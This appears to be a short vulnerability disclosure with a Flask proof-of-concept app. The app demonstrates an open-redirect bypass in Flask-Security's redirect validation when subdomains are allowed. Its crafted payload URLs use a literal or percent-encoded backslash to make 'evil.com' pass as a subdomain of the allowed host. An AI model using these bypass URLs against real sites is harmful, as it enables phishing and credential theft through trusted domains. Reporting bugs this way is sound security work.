Flask-Security has an Open Redirect issue

SERVER_NAME = "whitelist.com"
SECURITY_REDIRECT_ALLOW_SUBDOMAINS = True

from __future__ import annotations

from importlib.metadata import version
from urllib.parse import urlsplit

from flask import Flask, jsonify, redirect, request

from flask_security.utils import validate_redirect_url


app = Flask(__name__)
app.config.update(
    SECRET_KEY="poc-only",
    SERVER_NAME="whitelist.com",
    SECURITY_REDIRECT_ALLOW_SUBDOMAINS=True,
    SECURITY_REDIRECT_BASE_DOMAIN=None,
    SECURITY_REDIRECT_ALLOWED_SUBDOMAINS=[],
)


@app.get("/")
def index():
    return jsonify(
        flask_version=version("Flask"),
        configured_server_name=app.config["SERVER_NAME"],
        examples=[
            r"http://evil.com\.whitelist.com",
            "http://evil.com%5C.whitelist.com",
            "http://sub.whitelist.com",
            "http://sub.not-whitelist.com",
        ],
    )


@app.get("/check")
def check():
    next_url = request.args.get("next", "")
    parsed = urlsplit(next_url)

    return jsonify(
        next=next_url,
        valid=validate_redirect_url(next_url),
        parsed={
            "scheme": parsed.scheme,
            "netloc": parsed.netloc,
            "hostname": parsed.hostname,
            "path": parsed.path,
        },
    )


@app.get("/redir")
def redir():
    next_url = request.args.get("next", "")
    if not validate_redirect_url(next_url):
        return jsonify(error="blocked", next=next_url), 400

    return redirect(next_url)


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=False)

.venv/bin/python poc_redirect_app.py

http://127.0.0.1:5000/redir?next=http://evil.com

http://127.0.0.1:5000/check?next=http://evil.com%5C.whitelist.com